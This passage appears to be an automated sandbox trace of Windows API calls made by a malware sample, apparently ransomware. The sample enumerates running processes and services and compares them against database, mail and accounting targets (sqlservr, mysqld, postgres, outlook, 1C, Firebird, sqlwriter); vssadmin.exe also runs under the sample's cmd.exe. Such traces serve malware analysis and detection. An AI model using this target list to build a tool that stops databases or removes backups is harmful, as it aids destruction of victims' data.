(lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.508] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.508] lstrlenW (lpString="svchost.exe") returned 11 [0133.508] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.508] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.508] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.509] lstrlenW (lpString="svchost.exe") returned 11 [0133.509] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.509] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.509] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.509] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0133.509] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0133.509] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0133.509] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0133.509] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.510] lstrlenW (lpString="svchost.exe") returned 11 [0133.510] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0133.510] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0133.510] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0133.510] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0133.510] lstrlenW (lpString="audiodg.exe") returned 11 [0133.511] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.511] lstrlenW (lpString="svchost.exe") returned 11 [0133.511] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.511] lstrlenW (lpString="svchost.exe") returned 11 [0133.511] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0133.512] lstrlenW (lpString="spoolsv.exe") returned 11 [0133.512] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0133.513] lstrlenW (lpString="taskhost.exe") returned 12 [0133.513] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0133.513] lstrlenW (lpString="svchost.exe") returned 11 [0133.513] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0133.513] lstrlenW (lpString="userinit.exe") returned 12 [0133.513] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0133.514] lstrlenW (lpString="dwm.exe") returned 7 [0133.514] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0133.514] lstrlenW (lpString="explorer.exe") returned 12 [0133.514] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0133.515] lstrlenW (lpString="3G6885.exe") returned 10 [0133.515] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0133.515] lstrlenW (lpString="reader_sl.exe") returned 13 [0133.515] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0133.515] lstrlenW (lpString="dllhost.exe") returned 11 [0133.515] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0133.516] lstrlenW (lpString="cmd.exe") returned 7 [0133.516] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0133.516] lstrlenW (lpString="conhost.exe") returned 11 [0133.516] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x658, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0133.517] lstrlenW (lpString="vssadmin.exe") returned 12 [0133.517] Process32NextW (in: hSnapshot=0x2a8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x658, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0133.517] CloseHandle (hObject=0x2a8) returned 1 [0133.517] Sleep (dwMilliseconds=0x1f4) [0134.445] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8950 [0134.550] EnumServicesStatusExW (in: hSCManager=0x41d8950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0134.551] GetLastError () returned 0xea [0134.551] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc9a) returned 0x41a2070 [0134.551] EnumServicesStatusExW (in: hSCManager=0x41d8950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a2070, cbBufSize=0xc9a, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a2070, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0134.551] CloseServiceHandle (hSCObject=0x41d8950) returned 1 [0134.551] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0134.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0134.551] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0134.551] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0134.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0134.552] lstrlenW (lpString="AudioSrv") returned 8 [0134.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0134.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0134.552] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0134.552] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0134.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0134.552] lstrlenW (lpString="BFE") returned 3 [0134.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0134.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0134.552] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0134.552] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0134.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0134.552] lstrlenW (lpString="CryptSvc") returned 8 [0134.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0134.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0134.552] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0134.552] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0134.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0134.552] lstrlenW (lpString="CscService") returned 10 [0134.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0134.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0134.552] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0134.552] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0134.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0134.552] lstrlenW (lpString="DcomLaunch") returned 10 [0134.552] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.552] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0134.553] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0134.553] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0134.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0134.553] lstrlenW (lpString="Dhcp") returned 4 [0134.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0134.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0134.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0134.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0134.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0134.553] lstrlenW (lpString="Dnscache") returned 8 [0134.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0134.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0134.553] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0134.553] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0134.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0134.553] lstrlenW (lpString="DPS") returned 3 [0134.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0134.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0134.553] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0134.553] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0134.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0134.553] lstrlenW (lpString="eventlog") returned 8 [0134.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0134.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0134.553] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0134.553] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0134.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0134.553] lstrlenW (lpString="EventSystem") returned 11 [0134.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0134.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0134.554] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0134.554] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0134.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0134.554] lstrlenW (lpString="gpsvc") returned 5 [0134.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0134.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0134.554] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0134.554] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0134.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0134.554] lstrlenW (lpString="LanmanWorkstation") returned 17 [0134.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0134.554] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0134.554] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0134.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0134.554] lstrlenW (lpString="lmhosts") returned 7 [0134.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0134.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0134.554] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0134.554] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0134.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0134.554] lstrlenW (lpString="MMCSS") returned 5 [0134.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0134.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0134.554] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0134.554] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0134.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0134.555] lstrlenW (lpString="MpsSvc") returned 6 [0134.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0134.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0134.555] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0134.555] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0134.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0134.555] lstrlenW (lpString="NlaSvc") returned 6 [0134.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0134.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0134.555] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0134.555] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0134.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0134.555] lstrlenW (lpString="nsi") returned 3 [0134.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0134.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0134.555] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0134.555] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0134.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0134.555] lstrlenW (lpString="PcaSvc") returned 6 [0134.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0134.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0134.555] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0134.555] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0134.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0134.555] lstrlenW (lpString="PlugPlay") returned 8 [0134.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0134.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0134.555] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0134.555] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0134.556] lstrlenW (lpString="Power") returned 5 [0134.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0134.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0134.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0134.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0134.556] lstrlenW (lpString="ProfSvc") returned 7 [0134.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0134.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0134.556] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0134.556] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0134.556] lstrlenW (lpString="RpcEptMapper") returned 12 [0134.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.556] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0134.556] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0134.556] lstrlenW (lpString="RpcSs") returned 5 [0134.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0134.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0134.556] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0134.556] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0134.556] lstrlenW (lpString="SamSs") returned 5 [0134.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0134.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0134.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0134.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0134.557] lstrlenW (lpString="Schedule") returned 8 [0134.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0134.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0134.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0134.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0134.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0134.557] lstrlenW (lpString="SENS") returned 4 [0134.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0134.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0134.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0134.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0134.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0134.557] lstrlenW (lpString="ShellHWDetection") returned 16 [0134.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.557] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0134.557] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0134.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0134.557] lstrlenW (lpString="Spooler") returned 7 [0134.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0134.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0134.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0134.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0134.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0134.557] lstrlenW (lpString="Themes") returned 6 [0134.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0134.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0134.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0134.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0134.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0134.557] lstrlenW (lpString="UxSms") returned 5 [0134.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0134.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0134.558] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0134.558] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0134.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0134.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41a2070 | out: hHeap=0x300000) returned 1 [0134.558] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0134.560] Process32FirstW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.560] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0134.561] lstrlenW (lpString="System") returned 6 [0134.561] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0134.561] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0134.561] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0134.561] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0134.561] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0134.561] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0134.561] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0134.561] Process32NextW (in: hSnapshot=0x330, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0134.561] lstrlenW (lpString="smss.exe") returned 8 [0134.561] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0134.561] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0134.561] lstrcmpiW 